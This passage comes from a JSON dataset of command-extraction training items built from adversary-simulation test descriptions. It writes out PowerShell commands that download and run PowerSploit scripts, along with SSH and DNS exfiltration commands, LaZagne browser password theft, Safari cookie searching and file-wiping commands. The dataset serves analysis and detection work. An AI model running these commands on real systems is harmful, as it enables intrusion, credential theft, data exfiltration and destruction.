-UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This script enumerates GPOs to identify administrators for a given computer, using the command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Find-GPOComputerAdmin -ComputerName #{computer_name} -Verbose; The system will return all accounts exempt from Kerberos pre-auth when you execute: get-aduser -f * -pr DoesNotRequirePreAuth | where {$_.DoesNotRequirePreAuth -eq $TRUE}",
    "output": "{\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nIEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Find-GPOComputerAdmin -ComputerName #{computer_name} -Verbose\\n\", \"get-aduser -f * -pr DoesNotRequirePreAuth | where {$_.DoesNotRequirePreAuth -eq $TRUE}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    When you need to stop a service and its associated processes, execute this command: sudo pkill -SIGTERM #{process_pattern}; An adversary's malware distribution to removable drives can be simulated with this command:\n$RemovableDrives=@()\n$RemovableDrives = Get-WmiObject -Class Win32_LogicalDisk -filter \"drivetype=2\" | select-object -expandproperty DeviceID\nForEach ($Drive in $RemovableDrives)\n{\nwrite-host \"Removable Drive Found:\" $Drive\nNew-Item -Path $Drive/T1091Test1.txt -ItemType \"file\" -Force -Value \"T1091 Test 1 has created this file to simulate malware spread to removable drives.\"\n}\n",
    "output": "{\"command_list\": [\"sudo pkill -SIGTERM #{process_pattern}\\n\", \"$RemovableDrives=@()\\n$RemovableDrives = Get-WmiObject -Class Win32_LogicalDisk -filter \\\"drivetype=2\\\" | select-object -expandproperty DeviceID\\nForEach ($Drive in $RemovableDrives)\\n{\\nwrite-host \\\"Removable Drive Found:\\\" $Drive\\nNew-Item -Path $Drive/T1091Test1.txt -ItemType \\\"file\\\" -Force -Value \\\"T1091 Test 1 has created this file to simulate malware spread to removable drives.\\\"\\n}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To test SSH exfiltration from local to remote, compress and encrypt the /Users/* directory by running this command: tar czpf - /Users/* | openssl des3 -salt -pass #{password} | ssh #{user_name}@#{domain} 'cat > /Users.tar.gz.enc'; For testing data leaks via DNS covert channels, execute this command after ensuring you control a domain with A and NS records:\nImport-Module \"#{ps_module}\"\nInvoke-DNSExfiltrator -i \"#{ps_module}\" -d #{domain} -p #{password} -doh #{doh} -t #{time} #{encoding}",
    "output": "{\"command_list\": [\"tar czpf - /Users/* | openssl des3 -salt -pass #{password} | ssh #{user_name}@#{domain} 'cat > /Users.tar.gz.enc'\\n\", \"Import-Module \\\"#{ps_module}\\\"\\nInvoke-DNSExfiltrator -i \\\"#{ps_module}\\\" -d #{domain} -p #{password} -doh #{doh} -t #{time} #{encoding}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To securely overwrite and delete a file using SysInternals SDelete, use the following command: if (-not (Test-Path \"#{file_to_delete}\")) { New-Item \"#{file_to_delete}\" -Force }\n& \"#{sdelete_exe}\" -accepteula \"#{file_to_delete}\"\n. Upon success, you'll see 'Files deleted: 1' in the PowerShell session along with file details.; The file will be overwritten and deleted via the following DD command, and you can stop the operation by pressing CTRL/CMD+C: dd of=#{file_to_overwrite} if=#{overwrite_source} count=$(ls -l #{file_to_overwrite} | awk '{print $5}') iflag=count_bytes",
    "output": "{\"command_list\": [\"if (-not (Test-Path \\\"#{file_to_delete}\\\")) { New-Item \\\"#{file_to_delete}\\\" -Force }\\n& \\\"#{sdelete_exe}\\\" -accepteula \\\"#{file_to_delete}\\\"\\n\", \"dd of=#{file_to_overwrite} if=#{overwrite_source} count=$(ls -l #{file_to_overwrite} | awk '{print $5}') iflag=count_bytes\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To search a macOS Safari binaryCookies file for specific values, as done by CookieMiner malware, use the following command: cd ~/Library/Cookies\ngrep -q \"#{search_string}\" \"Cookies.binarycookies\"\n; For password extraction from browsers on Windows systems, execute LaZagne using this command: \"#{lazagne_path}\" browsers",
    "output": "{\"command_list\": [\"cd ~/Library/Cookies\\ngrep -q \\\"#{search_string}\\\" \\\"Cookies.binarycookies\\\"\\n\", \"\\\"#{lazagne_path}\\\" browsers\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The following command utilizes shell utilities to decode a base64 string and echo it to the console: ENCODED=$(echo '#{message}' | base64)\nprintf $ENCODED | base64 -d\necho $ENCODED | base64 -d\necho $(echo $ENCODED) | base64 -d\necho $ENCODED > #{encoded_file} && base64 -d #{encoded_file}\necho $ENCODED > #{encoded_file} && base64 -d < #{encoded_file}\necho $ENCODED > #{encoded_file} && cat #{encoded_file} | base64 -d\necho $ENCODED > #{encoded_file} && cat < #{encoded_file} | base64 -d\nbash -c \"{echo,\\\"$(echo $ENCODED)\\\"}|{base64,-d}\"; To decode a base64-encoded text string and display it, you can use the following series of commands: ENCODED=$(echo '#{message}' | b64encode -r -)\nprintf $ENCODED | b64decode -r\necho $ENCODED | b64decode -r\necho $(echo $ENCODED) | b64decode -r\necho $ENCODED > #{encoded_file} && b64encode -r #{encoded_file}\necho $ENCODED > #{encoded_file} && b64decode -r < #{encoded_file}\necho $ENCODED > #{encoded_file} && cat #{encoded_file} | b64decode -r\necho $ENCODED > #{encoded_file} && cat < #{encoded_file} | b64decode -r\n",
    "output": "{\"command_list\": [\"ENCODED=$(echo '#{message}' | base64)\\nprintf $ENCODED | base64 -d\\necho $ENCODED | base64 -d\\necho $(echo $ENCODED) | base64 -d\\necho $ENCODED > #{encoded_file} && base64 -d #{encoded_file}\\necho $ENCODED > #{encoded_file} && base64 -d < #{encoded_file}\\necho $ENCODED > #{encoded_file} && cat #{encoded_file} | base64 -d\\necho $ENCODED > #{encoded_file} && cat < #{encoded_file} | base64 -d\\nbash -c \\\"{echo,\\\\\\\"$(echo $ENCODED)\\\\\\\"}|{base64,-d}\\\"\\n\", \"ENCODED=$(echo '#{message}' | b64encode -r -)\\nprintf $ENCODED | b64decode -r\\necho $ENCODED | b64decode -r\\necho $(echo $ENCODED) | b64decode -r\\necho $ENCODED > #{encoded_file} && b64encode -r #{encoded_file}\\necho $ENCODED > #{encoded_file} && b64decode -r < #{encoded_file}\\necho $ENCODED > #{encoded_file} && cat #{encoded_file} | b64decode -r\\necho $ENCODED > #{encoded_file} && cat < #{encoded_file} | b64decode -r\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To obtain a listing of network connections, execute the following commands in sequence: netstat\nnet use\nnet sessions\n; For displaying all network TCP connections, run the following PowerShell command: Get-NetTCPConnection",
    "output": "{\"command_list\": [\"netstat\\nnet use\\nnet sessions\\n\", \"Get-NetTCPConnection\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { 